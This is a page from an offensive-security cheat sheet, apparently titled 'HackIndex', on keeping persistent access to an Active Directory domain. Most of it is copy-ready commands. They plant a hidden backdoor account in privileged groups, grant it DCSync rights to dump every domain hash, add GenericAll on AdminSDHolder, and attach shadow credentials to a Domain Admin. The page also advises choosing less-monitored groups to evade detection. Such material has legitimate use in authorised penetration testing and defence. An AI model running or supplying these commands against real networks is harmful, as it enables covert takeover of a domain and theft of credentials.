Skip to content
HackIndex logo

HackIndex

Account and ACL Persistence

4 min read Jun 9, 2026

Account and ACL-based persistence survives password changes, reboots, and payload removal. A hidden admin account or a quietly granted ACL right gives you re-entry to the domain without needing to re-exploit anything. These techniques are less detectable than Golden Tickets because they use legitimate authentication flows.

Backdoor domain account

Creating a domain account and adding it to privileged groups gives persistent authenticated access to every domain service.

┌──(kali㉿kali)-[~]
└─$ # Create domain user (requires Domain Admin or Account Operators)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add user backdoor 'BackdoorPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # Add to Domain Admins
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" backdoor
 
┌──(kali㉿kali)-[~]
└─$ # Or add to less-monitored groups with sufficient access
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Account Operators" backdoor
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" backdoor
 
┌──(kali㉿kali)-[~]
└─$ # Set password never expires
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac backdoor DONT_EXPIRE_PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Verify account works
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u backdoor -p 'BackdoorPass123!'

Adding to Domain Admins generates Event ID 4728 and is detected quickly in monitored environments. Adding to Account Operators or Backup Operators is less visible — both groups have sufficient rights to re-escalate from.

DCSync rights as persistent backdoor

Granting a controlled account DCSync rights is one of the most powerful and stealthy persistence mechanisms. The account looks like a normal domain user but can dump all domain hashes at any time. No group membership change is required.

┌──(kali㉿kali)-[~]
└─$ # Grant DCSync rights to controlled account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync backdoor
 
┌──(kali㉿kali)-[~]
└─$ # Verify rights from the backdoor account
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/backdoor:'BackdoorPass123!'@$TARGET_IP -just-dc-user krbtgt
 
┌──(kali㉿kali)-[~]
└─$ # Use DCSync anytime to get fresh hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/backdoor:'BackdoorPass123!'@$TARGET_IP -just-dc

GenericAll on AdminSDHolder

AdminSDHolder is a special AD object that acts as a permissions template for all protected groups (Domain Admins, Enterprise Admins, etc.). Every 60 minutes, the SDProp process copies AdminSDHolder's ACL to all protected group members. Granting yourself GenericAll on AdminSDHolder means your rights are automatically restored to every privileged account in the domain every hour — even if a defender removes them manually.

┌──(kali㉿kali)-[~]
└─$ # Grant GenericAll on AdminSDHolder to backdoor account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "CN=AdminSDHolder,CN=System,$BASE_DN" backdoor
 
┌──(kali㉿kali)-[~]
└─$ # SDProp runs every 60 minutes automatically
┌──(kali㉿kali)-[~]
└─$ # Force immediate propagation (requires Domain Admin)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=AdminSDHolder,CN=System,$BASE_DN" nTSecurityDescriptor
 
┌──(kali㉿kali)-[~]
└─$ # After SDProp runs, backdoor has GenericAll on all protected objects
┌──(kali㉿kali)-[~]
└─$ # Verify by checking Domain Admins ACL
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u backdoor -p 'BackdoorPass123!' --host $TARGET_IP get writable --detail | grep "Domain Admins"

Shadow Credentials as persistence

Adding a shadow credential to a privileged account links a certificate key pair to that account. You can authenticate as that account using the certificate at any time — the account's password can change without affecting your access.

┌──(kali㉿kali)-[~]
└─$ # Add shadow credential to Domain Admin account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add shadowCredentials $DA_USER
 
┌──(kali㉿kali)-[~]
└─$ # BloodyAD saves the certificate — note the path
┌──(kali㉿kali)-[~]
└─$ # Authenticate with certificate at any time
┌──(kali㉿kali)-[~]
└─$ pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $DA_USER --action list --dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Get TGT using the certificate
┌──(kali㉿kali)-[~]
└─$ # gettgtpkinit.py from https://github.com/dirkjanm/PKINITtools
┌──(kali㉿kali)-[~]
└─$ python3 gettgtpkinit.py -cert-pfx /path/to/cert.pfx $DOMAIN/$DA_USER $DA_USER.ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$DA_USER.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Verify access
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $DA_USER --use-kcache

Cleanup

┌──(kali㉿kali)-[~]
└─$ # Remove backdoor user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove user backdoor
 
┌──(kali㉿kali)-[~]
└─$ # Remove DCSync rights
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync backdoor
 
┌──(kali㉿kali)-[~]
└─$ # Remove shadow credentials
┌──(kali㉿kali)-[~]
└─$ pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $DA_USER --action remove --device-id $DEVICE_ID --dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Remove AdminSDHolder ACE (requires Domain Admin)
┌──(kali㉿kali)-[~]
└─$ # Use PowerView or ADUC GUI to remove the specific ACE from AdminSDHolder

References